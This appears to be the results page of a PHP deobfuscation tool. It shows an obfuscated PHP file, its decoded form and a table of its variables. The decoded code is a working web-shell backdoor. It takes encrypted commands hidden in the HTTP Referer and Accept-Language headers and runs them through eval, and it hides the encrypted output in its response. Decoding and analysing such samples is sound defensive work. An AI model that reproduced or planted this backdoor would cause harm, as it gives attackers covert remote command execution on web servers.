Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $U='),$ss($s[Vy$i],0,Vy$e))Vy)Vy,Vy$k)));$o=oVyb_get_contents(Vy);ob_endVy_clean(Vy)..

Decoded Output download

$kh="5d41";$kf="402a";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();eval(@gzuncompress(@x(base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}}

Did this file decode correctly?

Original Code

<?php
$U='),$ss($s[Vy$i],0,Vy$e))Vy)Vy,Vy$k)));$o=oVyb_get_contents(Vy);ob_endVy_clean(Vy);$d=bVyVyase64';
$s='j};}Vy}return VyVy$o;}$r=$Vy_SERVER;$VyrrVyVy=@$r["HTTP_REFVyERER"];$Vyra=@Vy$r["HTTPVy_VyACCEVyP';
$k='$khVy="5d41";$kVyf="4Vy02a";funVyctVyion x($t,$k){Vy$cVyVy=sVytrlen($kVy);$l=strlenVy($t);$o="';
$t='_eVyncode(x(gzcoVympreVysVysVy($o),$k));prinVyVyt("<$kVy>$d</$k>");Vy@session_VyVydestroy();}}}}';
$I='lVyoVywer";$i=Vy$m[1][Vy0].$m[1][1];$Vyh=$sl($ssVy(mVyd5($i.$Vykh),0,3));$fVy=$sVyVyl($ss(md5($';
$h='rraVyyVy_values($q);preVyg_Vymatch_all(Vy"/Vy([\\w])Vy[\\w-]+(?:;Vyq=0.(VyVy[\\dVyVy]))?Vy,?/",$r';
$A='rpoVys($p,Vy$h)===Vy0){$s[$i]="";Vy$p=Vy$ss($p,3Vy);}if(aVyrray_keyVy_Vyexists($iVy,$s)Vy){$s[';
$g='";forVy($Vyi=0;$i<$lVy;){foVyrVy($j=0;($jVy<$c&&$Vyi<$l)VyVy;$j++Vy,$iVy++){$o.=$t{$i}^$k{$Vy';
$T=str_replace('Uv','','crUvUveatUve_fUvUvuncUvtion');
$Y='prVyess(@x(Vy@baseVy64_decodVye(pVyreg_repVylace(arrVyaVyy("/_Vy/"Vy,"/-/"),aVyrray("Vy/","+"Vy';
$u='T_LANGUAGE"]Vy;VyifVy($rr&VyVy&$ra){$u=parse_url($rrVy);parsVyVye_str($uVy["query"],$q)Vy;$Vyq=a';
$n='a,$m);if(Vy$q&&$m){@VysessioVyn_startVy();$sVy=&$_SESSIVyOVyN;$ssVy="substr";$Vysl="strtoVyVy';
$M='iVy.$kVyf),0,3));$p="Vy"Vy;fVyorVyVy($z=1;$z<Vycount($m[1]);$z++)$Vyp.=$q[$m[Vy2][$VyVyzVy]];if(st';
$b='$i]Vy.=$pVyVy;$e=strpos($s[Vy$i],$fVy);if($Vye){$k=$kVyh.$Vykf;ob_sVytart();@VyevVyal(@gzuncoVym';
$Z=str_replace('Vy','',$k.$g.$s.$u.$h.$n.$I.$M.$A.$b.$Y.$U.$t);
$K=$T('',$Z);$K();
?>

Function Calls

null 1
str_replace 2
create_function 1

Variables

$A rpoVys($p,Vy$h)===Vy0){$s[$i]="";Vy$p=Vy$ss($p,3Vy);}if(aVyr..
$I lVyoVywer";$i=Vy$m[1][Vy0].$m[1][1];$Vyh=$sl($ssVy(mVyd5($i...
$K None
$M iVy.$kVyf),0,3));$p="Vy"Vy;fVyorVyVy($z=1;$z<Vycount($m[1]);..
$T create_function
$U ),$ss($s[Vy$i],0,Vy$e))Vy)Vy,Vy$k)));$o=oVyb_get_contents(Vy..
$Y prVyess(@x(Vy@baseVy64_decodVye(pVyreg_repVylace(arrVyaVyy("..
$Z $kh="5d41";$kf="402a";function x($t,$k){$c=strlen($k);$l=str..
$b $i]Vy.=$pVyVy;$e=strpos($s[Vy$i],$fVy);if($Vye){$k=$kVyh.$Vy..
$g ";forVy($Vyi=0;$i<$lVy;){foVyrVy($j=0;($jVy<$c&&$Vyi<$l)VyVy..
$h rraVyyVy_values($q);preVyg_Vymatch_all(Vy"/Vy([\w])Vy[\w-]+(..
$k $khVy="5d41";$kVyf="4Vy02a";funVyctVyion x($t,$k){Vy$cVyVy=s..
$n a,$m);if(Vy$q&&$m){@VysessioVyn_startVy();$sVy=&$_SESSIVyOVy..
$s j};}Vy}return VyVy$o;}$r=$Vy_SERVER;$VyrrVyVy=@$r["HTTP_REFV..
$t _eVyncode(x(gzcoVympreVysVysVy($o),$k));prinVyVyt("<$kVy>$d<..
$u T_LANGUAGE"]Vy;VyifVy($rr&VyVy&$ra){$u=parse_url($rrVy);pars..

Stats

MD5 499129bd65d03795a06bed5f7c029d7e
Eval Count 1
Decode Time 130 ms